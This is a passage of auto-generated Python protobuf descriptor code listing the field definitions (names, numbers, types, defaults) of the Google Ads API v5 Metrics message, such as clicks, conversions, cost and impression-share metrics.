_descriptor.FieldDescriptor(
name='active_view_viewability', full_name='google.ads.googleads.v5.common.Metrics.active_view_viewability', index=7,
number=190, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='all_conversions_from_interactions_rate', full_name='google.ads.googleads.v5.common.Metrics.all_conversions_from_interactions_rate', index=8,
number=191, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='all_conversions_value', full_name='google.ads.googleads.v5.common.Metrics.all_conversions_value', index=9,
number=192, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='all_conversions', full_name='google.ads.googleads.v5.common.Metrics.all_conversions', index=10,
number=193, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='all_conversions_value_per_cost', full_name='google.ads.googleads.v5.common.Metrics.all_conversions_value_per_cost', index=11,
number=194, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='all_conversions_from_click_to_call', full_name='google.ads.googleads.v5.common.Metrics.all_conversions_from_click_to_call', index=12,
number=195, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='all_conversions_from_directions', full_name='google.ads.googleads.v5.common.Metrics.all_conversions_from_directions', index=13,
number=196, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='all_conversions_from_interactions_value_per_interaction', full_name='google.ads.googleads.v5.common.Metrics.all_conversions_from_interactions_value_per_interaction', index=14,
number=197, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='all_conversions_from_menu', full_name='google.ads.googleads.v5.common.Metrics.all_conversions_from_menu', index=15,
number=198, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='all_conversions_from_order', full_name='google.ads.googleads.v5.common.Metrics.all_conversions_from_order', index=16,
number=199, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='all_conversions_from_other_engagement', full_name='google.ads.googleads.v5.common.Metrics.all_conversions_from_other_engagement', index=17,
number=200, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='all_conversions_from_store_visit', full_name='google.ads.googleads.v5.common.Metrics.all_conversions_from_store_visit', index=18,
number=201, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='all_conversions_from_store_website', full_name='google.ads.googleads.v5.common.Metrics.all_conversions_from_store_website', index=19,
number=202, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='average_cost', full_name='google.ads.googleads.v5.common.Metrics.average_cost', index=20,
number=203, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='average_cpc', full_name='google.ads.googleads.v5.common.Metrics.average_cpc', index=21,
number=204, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='average_cpe', full_name='google.ads.googleads.v5.common.Metrics.average_cpe', index=22,
number=205, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='average_cpm', full_name='google.ads.googleads.v5.common.Metrics.average_cpm', index=23,
number=206, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='average_cpv', full_name='google.ads.googleads.v5.common.Metrics.average_cpv', index=24,
number=207, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='average_page_views', full_name='google.ads.googleads.v5.common.Metrics.average_page_views', index=25,
number=208, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='average_time_on_site', full_name='google.ads.googleads.v5.common.Metrics.average_time_on_site', index=26,
number=209, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='benchmark_average_max_cpc', full_name='google.ads.googleads.v5.common.Metrics.benchmark_average_max_cpc', index=27,
number=210, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='benchmark_ctr', full_name='google.ads.googleads.v5.common.Metrics.benchmark_ctr', index=28,
number=211, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='bounce_rate', full_name='google.ads.googleads.v5.common.Metrics.bounce_rate', index=29,
number=212, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='clicks', full_name='google.ads.googleads.v5.common.Metrics.clicks', index=30,
number=131, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='combined_clicks', full_name='google.ads.googleads.v5.common.Metrics.combined_clicks', index=31,
number=156, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='combined_clicks_per_query', full_name='google.ads.googleads.v5.common.Metrics.combined_clicks_per_query', index=32,
number=157, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='combined_queries', full_name='google.ads.googleads.v5.common.Metrics.combined_queries', index=33,
number=158, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='content_budget_lost_impression_share', full_name='google.ads.googleads.v5.common.Metrics.content_budget_lost_impression_share', index=34,
number=159, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='content_impression_share', full_name='google.ads.googleads.v5.common.Metrics.content_impression_share', index=35,
number=160, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='conversion_last_received_request_date_time', full_name='google.ads.googleads.v5.common.Metrics.conversion_last_received_request_date_time', index=36,
number=161, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='conversion_last_conversion_date', full_name='google.ads.googleads.v5.common.Metrics.conversion_last_conversion_date', index=37,
number=162, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='content_rank_lost_impression_share', full_name='google.ads.googleads.v5.common.Metrics.content_rank_lost_impression_share', index=38,
number=163, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='conversions_from_interactions_rate', full_name='google.ads.googleads.v5.common.Metrics.conversions_from_interactions_rate', index=39,
number=164, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='conversions_value', full_name='google.ads.googleads.v5.common.Metrics.conversions_value', index=40,
number=165, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='conversions_value_per_cost', full_name='google.ads.googleads.v5.common.Metrics.conversions_value_per_cost', index=41,
number=166, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='conversions_from_interactions_value_per_interaction', full_name='google.ads.googleads.v5.common.Metrics.conversions_from_interactions_value_per_interaction', index=42,
number=167, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='conversions', full_name='google.ads.googleads.v5.common.Metrics.conversions', index=43,
number=168, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='cost_micros', full_name='google.ads.googleads.v5.common.Metrics.cost_micros', index=44,
number=169, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='cost_per_all_conversions', full_name='google.ads.googleads.v5.common.Metrics.cost_per_all_conversions', index=45,
number=170, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='cost_per_conversion', full_name='google.ads.googleads.v5.common.Metrics.cost_per_conversion', index=46,
number=171, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='cost_per_current_model_attributed_conversion', full_name='google.ads.googleads.v5.common.Metrics.cost_per_current_model_attributed_conversion', index=47,
number=172, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='cross_device_conversions', full_name='google.ads.googleads.v5.common.Metrics.cross_device_conversions', index=48,
number=173, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='ctr', full_name='google.ads.googleads.v5.common.Metrics.ctr', index=49,
number=174, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='current_model_attributed_conversions', full_name='google.ads.googleads.v5.common.Metrics.current_model_attributed_conversions', index=50,
number=175, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='current_model_attributed_conversions_from_interactions_rate', full_name='google.ads.googleads.v5.common.Metrics.current_model_attributed_conversions_from_interactions_rate', index=51,
number=176, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='current_model_attributed_conversions_from_interactions_value_per_interaction', full_name='google.ads.googleads.v5.common.Metrics.current_model_attributed_conversions_from_interactions_value_per_interaction', index=52,
number=177, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='current_model_attributed_conversions_value', full_name='google.ads.googleads.v5.common.Metrics.current_model_attributed_conversions_value', index=53,
number=178, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='current_model_attributed_conversions_value_per_cost', full_name='google.ads.googleads.v5.common.Metrics.current_model_attributed_conversions_value_per_cost', index=54,
number=179, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='engagement_rate', full_name='google.ads.googleads.v5.common.Metrics.engagement_rate', index=55,
number=180, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='engagements', full_name='google.ads.googleads.v5.common.Metrics.engagements', index=56,
number=181, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='hotel_average_lead_value_micros', full_name='google.ads.googleads.v5.common.Metrics.hotel_average_lead_value_micros', index=57,
number=213, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='hotel_price_difference_percentage', full_name='google.ads.googleads.v5.common.Metrics.hotel_price_difference_percentage', index=58,
number=214, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='hotel_eligible_impressions', full_name='google.ads.googleads.v5.common.Metrics.hotel_eligible_impressions', index=59,
number=215, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='historical_creative_quality_score', full_name='google.ads.googleads.v5.common.Metrics.historical_creative_quality_score', index=60,
number=80, type=14, cpp_type=8, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='historical_landing_page_quality_score', full_name='google.ads.googleads.v5.common.Metrics.historical_landing_page_quality_score', index=61,
number=81, type=14, cpp_type=8, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='historical_quality_score', full_name='google.ads.googleads.v5.common.Metrics.historical_quality_score', index=62,
number=216, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='historical_search_predicted_ctr', full_name='google.ads.googleads.v5.common.Metrics.historical_search_predicted_ctr', index=63,
number=83, type=14, cpp_type=8, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='gmail_forwards', full_name='google.ads.googleads.v5.common.Metrics.gmail_forwards', index=64,
number=217, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='gmail_saves', full_name='google.ads.googleads.v5.common.Metrics.gmail_saves', index=65,
number=218, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='gmail_secondary_clicks', full_name='google.ads.googleads.v5.common.Metrics.gmail_secondary_clicks', index=66,
number=219, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='impressions_from_store_reach', full_name='google.ads.googleads.v5.common.Metrics.impressions_from_store_reach', index=67,
number=220, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='impressions', full_name='google.ads.googleads.v5.common.Metrics.impressions', index=68,
number=221, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='interaction_rate', full_name='google.ads.googleads.v5.common.Metrics.interaction_rate', index=69,
number=222, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='interactions', full_name='google.ads.googleads.v5.common.Metrics.interactions', index=70,
number=223, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='interaction_event_types', full_name='google.ads.googleads.v5.common.Metrics.interaction_event_types', index=71,
number=100, type=14, cpp_type=8, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='invalid_click_rate', full_name='google.ads.googleads.v5.common.Metrics.invalid_click_rate', index=72,
number=224, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='invalid_clicks', full_name='google.ads.googleads.v5.common.Metrics.invalid_clicks', index=73,
number=225, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='message_chats', full_name='google.ads.googleads.v5.common.Metrics.message_chats', index=74,
number=226, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='message_impressions', full_name='google.ads.googleads.v5.common.Metrics.message_impressions', index=75,
number=227, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='message_chat_rate', full_name='google.ads.googleads.v5.common.Metrics.message_chat_rate', index=76,
number=228, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='mobile_friendly_clicks_percentage', full_name='google.ads.googleads.v5.common.Metrics.mobile_friendly_clicks_percentage', index=77,
number=229, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='organic_clicks', full_name='google.ads.googleads.v5.common.Metrics.organic_clicks', index=78,
number=230, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='organic_clicks_per_query', full_name='google.ads.googleads.v5.common.Metrics.organic_clicks_per_query', index=79,
number=231, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='organic_impressions', full_name='google.ads.googleads.v5.common.Metrics.organic_impressions', index=80,
number=232, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='organic_impressions_per_query', full_name='google.ads.googleads.v5.common.Metrics.organic_impressions_per_query', index=81,
number=233, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='organic_queries', full_name='google.ads.googleads.v5.common.Metrics.organic_queries', index=82,
number=234, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='percent_new_visitors', full_name='google.ads.googleads.v5.common.Metrics.percent_new_visitors', index=83,
number=235, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='phone_calls', full_name='google.ads.googleads.v5.common.Metrics.phone_calls', index=84,
number=236, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='phone_impressions', full_name='google.ads.googleads.v5.common.Metrics.phone_impressions', index=85,
number=237, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='phone_through_rate', full_name='google.ads.googleads.v5.common.Metrics.phone_through_rate', index=86,
number=238, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='relative_ctr', full_name='google.ads.googleads.v5.common.Metrics.relative_ctr', index=87,
number=239, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='search_absolute_top_impression_share', full_name='google.ads.googleads.v5.common.Metrics.search_absolute_top_impression_share', index=88,
number=136, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='search_budget_lost_absolute_top_impression_share', full_name='google.ads.googleads.v5.common.Metrics.search_budget_lost_absolute_top_impression_share', index=89,
number=137, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='search_budget_lost_impression_share', full_name='google.ads.googleads.v5.common.Metrics.search_budget_lost_impression_share', index=90,
number=138, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
